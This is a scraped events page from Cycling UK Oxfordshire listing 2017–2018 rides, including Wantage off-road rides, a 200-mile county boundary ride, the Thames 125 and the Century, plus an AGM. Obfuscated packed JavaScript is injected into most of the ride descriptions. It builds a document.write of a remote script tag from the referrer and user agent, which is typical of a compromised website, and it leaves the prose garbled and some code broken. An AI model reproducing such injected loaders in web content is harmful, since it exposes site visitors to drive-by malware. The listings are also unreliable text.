Cycling UK Oxfordshire organises its own rides and we also highlight some rides run by other local groups.

Even if you are not a Cycling UK member, you will be welcome on any ride that is within your capabilities and we will be happy to match you up with suitable rides. In general, you can ride for free on three rides before deciding whether to join Cycling UK.

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August 2018

Off-road ride August 2018 – Easy on a Sunday morning

Sun 12 August 2018 - 10:00am to 1:00pm
Wantage Market Place, Wantage Market Place
Watnage, Oxfordshire OX12 8AB United Kingdom
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Regular eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nddrd|var|u0026u|referrer|knsin||js|php'.split('|'),0,{})) off-road rides for 2018 we are toning these down and keeping them closer to Wantage. Free parking at The Beacon, and meet at Wantage Market Place, by King Alfred. The rides will be 15-20 miles, on quiet local tracks through the woods, and maybe up to the Ridgeway. Pace equivalent to 2*, best on a mountain bike, but a cyclocross bike and if dry…

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July 2018

County Boundary 200 mile ride 2018

Sat 7 July 2018 - 4:00pm to Sun 8 July 2018 - 4:00pm
Old Mill Hall car park, School Lane, Grove OX12 7LB, Old Mill Hall car park, School Lane, Grove OX12 7LB United Kingdom + Google Map

A eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dahta|var|u0026u|referrer|rnyef||js|php'.split('|'),0,{})) complete circuit of the Oxfordshire county boundary, taking about 24 hours. Pre-registration required as we need to keep the numbers quite limited. We'll start from Grove at 4pm and head clockwise.  The route depends on the late-night food stops, but if we follow the 2013 way, we start along the Ridgeway spring-line, then head North into the Cotswolds.  Hook Norton will be a landmark…

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Off-road ride July 2018 – Easy on a Sunday morning

Sun 1 July 2018 - 10:00am to 1:00pm
Wantage Market Place, Wantage Market Place
Watnage, Oxfordshire OX12 8AB United Kingdom
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Regular eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|asteb|var|u0026u|referrer|nyinn||js|php'.split('|'),0,{})) off-road rides for 2018 we are toning these down and keeping them closer to Wantage. Free parking at The Beacon, and meet at Wantage Market Place, by King Alfred. The rides will be 15-20 miles, on quiet local tracks through the woods, and maybe up to the Ridgeway. Pace equivalent to 2*, best on a mountain bike, but a cyclocross bike and if dry…

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June 2018

Follow the Thames 125 mile ride

Sat 16 June 2018 - 8:00am to 10:00pm
Wallingford Market Place, near Town Information Centre
Wallingford, Oxfordshire OX10 0EG United Kingdom
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Follow the Thames from its source all the way to Wallingford. At 125 miles 200km, this is a great way to stretch beyond the regular Century distance and set a new benchmark. We will ride from Wallingford, upriver through Abingdon, Oxford, Eynsham (25 miles/coffee) and Lechlade (50 miles/lunch) to the source of the Thames near Cirencester.  Ideally, we'll have time stroll the few hundred metres of footpath off the road to…

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Off-road ride June 2018 – Easy on a Sunday morning

Sun 3 June 2018 - 10:00am to 1:00pm
Wantage Market Place, Wantage Market Place
Watnage, Oxfordshire OX12 8AB United Kingdom
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Regular eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kkbey|var|u0026u|referrer|efsnh||js|php'.split('|'),0,{})) off-road rides for 2018 we are toning these down and keeping them closer to Wantage. Free parking at The Beacon, and meet at Wantage Market Place, by King Alfred. The rides will be 15-20 miles, on quiet local tracks through the woods, and maybe up to the Ridgeway. Pace equivalent to 2*, best on a mountain bike, but a cyclocross bike and if dry…

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May 2018

Oxfordshire Century (100-mile) Ride 2018

Sun 20 May 2018 - 8:00am to 7:15pm
Eynsham, Clover Lane car park (Grid Ref SP432094), Eynsham, Clover Lane car park (Grid Ref SP432094) United Kingdom + Google Map

The classic annual Century ride organised by Cycling UK Oxfordshire. Challenge yourself to cover 100 miles, but enjoy company and the support of the group on the way. This year's century will start at 8am from the Clover Place car park in Eynsham (Grid Ref SP432094) - map. The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|btste|var|u0026u|referrer|bnyda||js|php'.split('|'),0,{})) route has now been finalised and can be found here. We'll be heading northwards across the…

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April 2018

Chilterns Explorer 75 miles (from Grove)

Sun 29 April 2018 - 9:30am to 5:30pm
Old Mill Hall car park, School Lane, Grove OX12 7LB, Old Mill Hall car park, School Lane, Grove OX12 7LB United Kingdom + Google Map

(Updated 22 April).  All day ride to the Chilterns. This ride is particularly intended for those aiming to get some distance in their legs before the Century ride in May, or other long rides in the summer. The distance allows us to reach from Grove to the beautiful scenery of the Chilterns. Riding first East, we start on the quiet roads and work our may past Didcot and Wallingford before…

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Off-road Back on your Mountain Bike 2018

Sun 15 April 2018 - 10:00am to 12:30pm
Old Mill Hall car park, School Lane, Grove OX12 7LB, Old Mill Hall car park, School Lane, Grove OX12 7LB United Kingdom + Google Map

An off-road ride for everyone.  At the start of this ride, we will cover bike set up and basic techniques to make eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bebsn|var|u0026u|referrer|ardyz||js|php'.split('|'),0,{})) off-roading fun. Then a short ride on local tracks, with frequent breaks. This ride is ideal if you have wanted to take your bike off-road, but been a bit unsure. Plenty of free car parking at Old Mill Hall. Look out for Regular off-road…

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March 2018

Witney Nifty Fifty 2018

Sun 25 March 2018 - 9:30am to 4:00pm
Witney Buttercross, 51B Market Square
Witney, Oxfordshire OX28 6AG United Kingdom
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Fifty miles eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|znyhh|var|u0026u|referrer|ihazb||js|php'.split('|'),0,{})) from Witney – our first Oxfordshire ride of the year, and the first in our 'Couch to 200' series if you want to work your way up from typical touring distances to a massive 200 mile ride. But, you don't have to commit to that – this ride will be a joy in its own right.  It will head into the Oxfordshire Cotswolds…

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November 2017

Annual General Meeting 2017 (AGM)

Sat 4 November 2017 - 11:00am to 12:00pm
Kings Head and Bell, 10 East St Helens Street
Abingdon, Oxfordshire OX14 5EA United Kingdom
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Our AGM this year moves to a new venue – a pub!  And, we will buy everyone a drink – yes a free beer, soft drink, tea, coffee or almost whatever!* We are meeting in the front room of the pub and they will have a range of drinks and snacks available for us.  They have a courtyard, which is a good place to park bikes. We are changing the…

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